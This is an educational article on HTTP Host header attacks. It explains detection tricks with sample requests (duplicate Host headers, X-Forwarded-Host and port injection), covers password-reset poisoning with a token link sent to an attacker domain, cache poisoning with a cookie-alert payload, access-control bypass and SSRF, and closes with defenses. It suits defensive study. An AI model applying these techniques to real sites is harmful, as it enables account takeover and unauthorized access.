Understanding and Exploiting HTTP Host Header Attacks

1. HTTP Host Header Attack

Since HTTP/1.1 the Host header is mandatory and indicates the domain the client wants to reach. If a proxy or load balancer changes the Host value before it reaches the backend, a Host header attack can occur.

GET /web-security HTTP/1.1
Host: example.net

2. Purpose of the HTTP Host Header

The Host header helps the server route the request to the correct backend component. Historically this was less problematic because each IP served a single site, but virtual hosting, reverse proxies and CDN usage now allow many applications on one IP, making the header a valuable attack surface.

Virtual hosting – multiple sites share one IP.

Proxy routing – traffic passes through a reverse proxy or load balancer before reaching the backend.

In both cases the Host header determines which backend application should handle the request.

3. What Is an HTTP Host Header Attack?

When a web application trusts the Host header without validation, an attacker can control it to manipulate server‑side behavior, such as generating absolute URLs, performing cache poisoning, or combining with other vulnerabilities.

<a href="https://_SERVER['HOST']/support">Contact Support</a>

Typical follow‑up attacks include cache poisoning, logic flaws in business functions, routing‑based SSRF, and classic server‑side bugs like SQL injection when the Host value is used in queries.

4. Discovering HTTP Host Header Vulnerabilities

First verify whether the server checks the Host header and whether it later uses the value. Changing the Host value and observing error messages or reflected values can reveal the presence of the vulnerability.

Modify the Host value

Send a request with a forged Host header and see if the response contains the modified value.

Add duplicate Host headers

Include two Host headers; one may be used for routing while the other carries the payload.

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attack‑stuff

Use absolute URLs

Some requests use absolute URLs; altering the Host in such requests can bypass relative‑path checks.

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack‑stuff

Add indentation or line breaks

Insert whitespace before a second Host header to evade simple parsers.

GET /example HTTP/1.1
 Host: attack‑stuff

Inject into equivalent fields

Headers like X-Forwarded-Host , X-Forwarded-For , X-Host , Forwarded can be abused similarly.

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack‑stuff

Ignore port and validate only the domain

If the server validates only the domain part, the port can be used to carry payloads.

GET /example HTTP/1.1
Host: vulnerable-website.com:attack‑stuff

5. Exploitation Scenarios

5.1 Password‑reset poisoning

When a password‑reset email contains a link built from the Host header, an attacker can change the Host to their own domain, capture the reset token, and reset the victim’s password.

https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

5.1.1 Basic password‑reset poisoning

Demonstrates capturing the token by modifying the Host header to baidu.com and observing the request on the attacker’s server.

5.1.2 Injection via covering fields

If direct Host modification fails, use X-Forwarded-Host or similar fields to inject the payload.

5.1.3 Dangling Markup technique

Combine Host header control with a dangling markup payload to exfiltrate the reset token and password via an image request.

5.2 Host header + cache poisoning

When the target uses a web cache, an attacker can poison the cache with a malicious response (e.g., a JavaScript file) that is then served to other users.

alert(document.cookie);

5.3 Host header bypassing access control

By changing the Host to an internal address, attackers can bypass IP‑based restrictions and access admin pages that are otherwise limited to internal users.

5.4 Host header + SSRF

Manipulating the Host header can cause the server to issue outbound requests to attacker‑controlled domains, enabling server‑side request forgery against internal services.

GET http://internal‑service.local/ HTTP/1.1
Host: attacker.com

6. Defending Against HTTP Host Header Attacks

Prefer relative URLs instead of constructing absolute URLs from the Host header.

6.1 Properly configure absolute domain URLs

If absolute URLs are required, store the allowed domain in configuration and never derive it from the Host header.

6.2 Whitelist validation of the Host header

Validate the Host against an explicit whitelist and reject or redirect unknown hosts.

6.3 Disable header overriding

Do not trust or forward headers such as X-Forwarded-Host , X-Forwarded-For , or Forwarded unless they are explicitly needed and validated.

Separating internal‑only hostnames from public ones on different servers also reduces risk.